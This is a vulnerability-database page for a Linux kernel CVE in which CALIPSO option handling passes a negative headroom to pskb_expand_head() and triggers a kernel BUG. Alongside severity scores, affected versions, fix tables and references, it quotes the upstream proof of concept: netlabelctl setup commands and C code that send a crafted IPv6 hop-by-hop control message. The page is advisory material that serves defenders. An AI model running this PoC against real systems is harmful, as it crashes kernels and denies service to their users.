ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);
- Published
- Jan 13, 2026
- Updated
- Sep 8, 2026
- EPSS
- 0.3% · 18th percentile
- CWE
- CWE-617
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Report tools
Action score
22
Monitor
Low priority for now.
- CVSS
- 22 / 40 · 5.5 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · 0.3%
CISA SSVC decision
- Exploitation
- none
- Automatable
- no
- Technical impact
- partial
Vulnrichment: CISA's decision-tree inputs.
CNA vs NVD score
- NVD
- 5.5
- CNA · Linux
- 7.5
- 2.0 point gap
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
The score given by the assigning authority versus NVD’s independent score. A gap means the severity is contested.
Affected systems
| Vendor | Product | CPE |
|---|---|---|
| linux | linux kernel | cpe:2.3:o:linux:linux_kernel |
Affected versions
NVD version ranges (for catalog products). Add the product to your stack with a version and matching uses these.
- linux linux kernel4.8.1 and later · before 5.10.248
- linux linux kernel5.11 and later · before 5.15.198
- linux linux kernel5.16 and later · before 6.1.160
- linux linux kernel6.2 and later · before 6.6.120
- linux linux kernel6.7 and later · before 6.12.64
- linux linux kernel6.13 and later · before 6.18.4
- linux linux kernel4.8
- linux linux kernel6.19
Versions reported by the vendor
Affected version ranges reported by the assigning authority (Linux). Independent of NVD's CPE analysis and usually ahead of it.
Linux Linux
- 4.8affected
- 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and later · before 86f365897068d09418488165a68b23cb5baa37f2affected · git
- 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and later · before 6b7522424529556c9cbc15e15e7bd4eeae310910affected · git
- 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and later · before 2bb759062efa188ea5d07242a43e5aa5464bbae1affected · git
- 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and later · before c53aa6a5086f03f19564096ee084a202a8c738c0affected · git
- 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and later · before bf3709738d8a8cc6fa275773170c5c29511a0b24affected · git
- 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and later · before 73744ad5696dce0e0f43872aba8de6a83d6ad570affected · git
- 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 and later · before 58fc7342b529803d3c221101102fe913df7adb83affected · git
- before 4.8not affected · semver
- 5.10.248 and later · up to and including 5.10.*not affected · semver
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| AlmaLinux:10 | kernel-abi-stablelists | before 6.12.0-124.43.1.el10_1 | 6.12.0-124.43.1.el10_1 |
| AlmaLinux:10 | kernel-doc | before 6.12.0-124.43.1.el10_1 | 6.12.0-124.43.1.el10_1 |
| AlmaLinux:8 | bpftool | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-abi-stablelists | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-core | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-cross-headers | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-debug | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-debug-core | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-debug-devel | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-debug-modules | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-debug-modules-extra | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-devel | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-doc | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-headers | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-modules | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-modules-extra | before 4.18.0-553.111.1.el8_10 | 4.18.0-553.111.1.el8_10 |
| AlmaLinux:8 | kernel-rt | before 4.18.0-553.111.1.rt7.452.el8_10 | 4.18.0-553.111.1.rt7.452.el8_10 |
| AlmaLinux:8 | kernel-rt-core | before 4.18.0-553.111.1.rt7.452.el8_10 | 4.18.0-553.111.1.rt7.452.el8_10 |
| AlmaLinux:8 | kernel-rt-debug | before 4.18.0-553.111.1.rt7.452.el8_10 | 4.18.0-553.111.1.rt7.452.el8_10 |
| AlmaLinux:8 | kernel-rt-debug-core | before 4.18.0-553.111.1.rt7.452.el8_10 | 4.18.0-553.111.1.rt7.452.el8_10 |
| AlmaLinux:8 | kernel-rt-debug-devel | before 4.18.0-553.111.1.rt7.452.el8_10 | 4.18.0-553.111.1.rt7.452.el8_10 |
| AlmaLinux:8 | kernel-rt-debug-modules | before 4.18.0-553.111.1.rt7.452.el8_10 | 4.18.0-553.111.1.rt7.452.el8_10 |
| AlmaLinux:8 | kernel-rt-debug-modules-extra | before 4.18.0-553.111.1.rt7.452.el8_10 | 4.18.0-553.111.1.rt7.452.el8_10 |
+96
Same product
linux: all recordsOther highest-scoring records for the same primary product.
- CVE-2022-0847A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe KEV89Now
- CVE-2021-22555Heap Out-Of-Bounds Write in Netfilter IP6T_SO_SET_REPLACEKEV85Now
- CVE-2016-5195Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect haKEV83Now
- CVE-2019-13272In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to creKEV77This week
- CVE-2013-6282The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not validate certain addKEV77This week
- CVE-2013-2094The perf_swevent_init function in kernel/events/core.c in the Linux kernel before 3.8.9 uses an incorrect integer data type, which allows loKEV77This week
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| Linux Linux | 2bb759062efa188ea5d07242a43e5aa5464bbae1 | Vendor (CNA) |
| Linux Linux | 58fc7342b529803d3c221101102fe913df7adb83 | Vendor (CNA) |
| Linux Linux | 6b7522424529556c9cbc15e15e7bd4eeae310910 | Vendor (CNA) |
| Linux Linux | 73744ad5696dce0e0f43872aba8de6a83d6ad570 | Vendor (CNA) |
| Linux Linux | 86f365897068d09418488165a68b23cb5baa37f2 | Vendor (CNA) |
| Linux Linux | bf3709738d8a8cc6fa275773170c5c29511a0b24 | Vendor (CNA) |
| Linux Linux | c53aa6a5086f03f19564096ee084a202a8c738c0 | Vendor (CNA) |
| AlmaLinux:kernel | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k-core | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k-debug | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k-debug-core | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k-debug-devel | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k-debug-devel-matched | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k-debug-modules | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k-debug-modules-core | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k-debug-modules-extra | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k-devel | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| AlmaLinux:kernel-64k-devel-matched | 5.14.0-611.36.1.el9_7 · AlmaLinux:9 | Package registry (OSV) |
| debian:linux | 6.1.162-1 · Debian:12 | Package registry (OSV) |
| Red Hat:kernel-64k-debug-debuginfo | 0:5.14.0-611.36.1.el9_7 · Red Hat:enterprise_linux:9::appstream | Package registry (OSV) |
| Red Hat:kernel-64k-debug-devel | 0:5.14.0-611.36.1.el9_7 · Red Hat:enterprise_linux:9::appstream | Package registry (OSV) |
| Red Hat:kernel-64k-debug-devel-matched | 0:5.14.0-611.36.1.el9_7 · Red Hat:enterprise_linux:9::appstream | Package registry (OSV) |
| Red Hat:kernel-64k-debuginfo | 0:5.14.0-611.36.1.el9_7 · Red Hat:enterprise_linux:9::appstream | Package registry (OSV) |
| Red Hat:kernel-64k-devel | 0:5.14.0-611.36.1.el9_7 · Red Hat:enterprise_linux:9::appstream | Package registry (OSV) |
| Red Hat:kernel-64k-devel-matched | 0:5.14.0-611.36.1.el9_7 · Red Hat:enterprise_linux:9::appstream | Package registry (OSV) |
| Red Hat:kernel-debug-debuginfo | 0:5.14.0-611.36.1.el9_7 · Red Hat:enterprise_linux:9::appstream | Package registry (OSV) |
| Red Hat:kernel-debug-devel | 0:5.14.0-611.36.1.el9_7 · Red Hat:enterprise_linux:9::appstream | Package registry (OSV) |
| Red Hat:kernel-debug-devel-matched | 0:5.14.0-611.36.1.el9_7 · Red Hat:enterprise_linux:9::appstream | Package registry (OSV) |
| Red Hat:kernel-debuginfo | 0:5.14.0-611.36.1.el9_7 · Red Hat:enterprise_linux:9::appstream | Package registry (OSV) |
+16
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
FIRST EPSS daily score; only changes of 0.01 or more are recorded (step chart).
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
No commit or PR link among the references.
Credits
All researchersFinders, reporters and analysts named in the CNA record. Click a name for that researcher’s other records.
No credits in the CNA record.
Variant candidates
Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.
- CVE-2026-31739108 days apartcrypto: tegra - Add missing CRYPTO_ALG_ASYNC35Monitor
- CVE-2026-52952162 days apartiommu: Fix WARN_ON in __iommu_group_set_domain_nofail() due to reset35Monitor
- CVE-2026-3139880 days apartmm/rmap: fix incorrect pte restoration for lazyfree folios31Monitor
- CVE-2025-39803120 days apartscsi: ufs: core: Remove WARN_ON_ONCE() call from ufshcd_uic_cmd_compl()31Monitor
- CVE-2026-46117135 days apartRDMA/mana: Remove user triggerable WARN_ON() in mana_ib_create_qp_rss()31Monitor
- CVE-2026-52954162 days apartlibceph: handle rbtree insertion error in decode_choose_args()30Monitor
Chain candidates
An authentication bypass and a privilege-requiring bug in the same product, published close together: combined they may become an unauthenticated path.
—
Bug bounty scope
No known public program.
Source: bounty-targets-data (public HackerOne, Bugcrowd, Intigriti, YesWeHack listings).
Technical details
Attack conditions
- Someone with local access to the system can trigger it.
- A low-privileged account is enough.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- none
- Integrity
- none
- Availability
- high · the service can be disrupted
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- None
- Integrity impact
- None
- Availability impact
- High
Weakness class (CWE)
CWE-617 · Reachable AssertionCVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
nvd-primary
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
MITRE has no CAPEC/ATT&CK mapping for this CWE.
Noroxi analysis
No Noroxi analysis for this record yet
We don't hand-write analysis for all 385,000+ vulnerabilities; that wouldn't be honest. For notable, high-impact vulnerabilities our team writes the mechanism, detection and remediation steps.
We use this product, ask for helpChange log
- Fix✗ → ✓
For records you follow, these changes also arrive as notifications. →
References
- git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1
- git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83
- git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910
- git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570
- git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2
- git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24
- git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0
- cert-portal.siemens.com/productcert/html/ssa-019113.html
Vendor advisories and official records. Exploit/PoC links are deliberately left out.